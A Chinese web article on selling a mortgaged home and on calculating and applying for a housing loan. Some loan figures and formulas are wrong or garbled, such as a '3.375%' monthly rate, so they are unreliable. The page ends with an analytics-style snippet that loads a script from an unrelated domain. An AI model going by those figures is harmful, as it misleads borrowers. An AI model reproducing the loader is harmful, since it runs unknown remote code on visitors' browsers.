有贷款的房子怎么卖？看看文中的办法就知道了

现在购买房子的住户，有很多都是使用银行的贷款，在购买房之后，我们很难保证不会因为某种情况把房子再次卖出。房子毕竟是一个家庭的大资产，关于有贷款的房子该怎么卖，我们必须要有一个深刻的认知，提前做好准备，以最高效、最有利的方式把房子卖出。但是这些问题牵扯到房地产政策问题，我们并不是特别了解。今天我们就来总结一下有房有贷款的房子该怎么卖?有贷款的房子怎么卖一、转按揭转按揭是指在借款人出售作为抵押物的房屋，经贷款银行同意，由房屋的购买人继续偿还出售人未到期的贷款。也就是说出售若想有贷款的房子，需要将房子的按揭转给买方，让买方继续偿还卖方的按揭贷款。二手房市场存在同行转按揭和跨行转按揭两种情况。由于买方的资信、贷款意愿、月供能力、购房资金安排不尽相同，在转按揭的同时，买方可以根据自身需求申请不同的贷款期限、贷款金额和还款方式。但是这种方法在使用中会受到限制，很多银行的政策对于转按揭办理不尽相同，实际操作中也会少有银行能够办理转按揭业务，因此，这种方法能够使用的人很少。有贷款的房子二、卖家用买方的首付款来付清剩余贷款卖家用买方的首付款来缴清剩余贷款这种方式被大家运用的比较多，适合一些原房主贷款额度较低或已经偿还了大量贷款之后，房子所剩贷款金额不大的情况。一般二手房交易房子的首付可以在房产总销售额的30%至40%这个范围，那么在贷款金额所剩不多的情况下，卖家可以充分的利用买方的首付款来将剩余的房贷还清，然后到银行等相关部门撤销房产的抵押登记，从而进行下一步的买卖交易。这种方法操作简单，而且对于贷款不多的卖家来说十分适合，将房贷还清后在进行下一步的交易会更加安全。三、向银行申请抵押贷款来还清剩余房贷如果您的房贷剩余过多且无法办理转按揭手续时，那么您可以考虑通过银行贷款来缴清剩余的房贷。卖家可以根据自己的实际情况，用名下的其他抵押物向银行申请抵押贷款，从而结清房子的按揭贷款。等买家支付放款后再来将银行的抵押贷款还清。根据上面的阐述，相信大家对于有贷款的房子该如何卖已经了然于心。了解之后，我们就可以到相关部门准备相应的材料。然后就可以把房子挂到房屋中介中心，当然这种方式，也许能帮助您把房子就快卖出去，但是在价格上中介中心会抽取一部分，其中的利益取舍问题，还需要根据自己的实际情况定。最后祝您能以较高的价格把具有贷款的房子卖出去。

求房子贷款是怎么算的

现如今，因房价一直是高居不下，买房子贷款已经是一个大的趋势，选择户型比较简单，但求房子贷款怎么办理成了大家最想知道的问题，只有准备充足才可以使办理房子贷款的流程比较顺利，以下是对求房子贷款的回答。1、求房子贷款，按中国人民银行规定的个人住房贷款利率执行；个人的相关商用房的贷款执行人民银行规定的期限利率。因银行对于房子贷款的利息的计算比较专业，我们可以利用公式个人计算，以公积金贷款为例，5年以上的贷款，月利率为3.375%。比如贷款1万元人民币，20年还清，则贷款人每月需还款60.86。2、求房子贷款需要知道，如果是你的房子贷款为等额本金的方式，那么公式为月还款额＝本金n+剩余本金*月利率，总利息＝本金*月利率*（贷款月数/2+0.5）从这个计算的方法可以看出，等额本金的还款方式是慢慢的逐月减少，这个方法适合还款能力强的朋友们。房子贷款有了公式计算起来就是比较简单，同时影响房子贷款的因素，最主要的还是首付款的比例，当前国家开始调控房地产市场，因此房子贷款比例也在不断的提高，这对我们求房子贷款时有一定的影响。还有目前国家再次提高房贷的利息，这也会影响我们贷款的资金比例，所以买房子一定要谨。3、求房子贷款还需要准备个人住房借款申请书、身份证复印件、经办行认可的有关部门出具的借款人稳定的经济收入证明或者其他偿还能力证明资料、合法购买的住房合同、协议及相关批准文件、银行的存款单据等。4、准备好资料后就可以到贷款银行提出借款申请，等待审核，签订借款合同，然后到产权部门办理贷款担保手续，签订还款协议和划款。最后求房子贷款人按照与房子贷款的银行约定的时间到贷款银行办理领取贷款的手续，贷款银行就会将款打入售房单位了，以上是对求房子贷款的解答。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();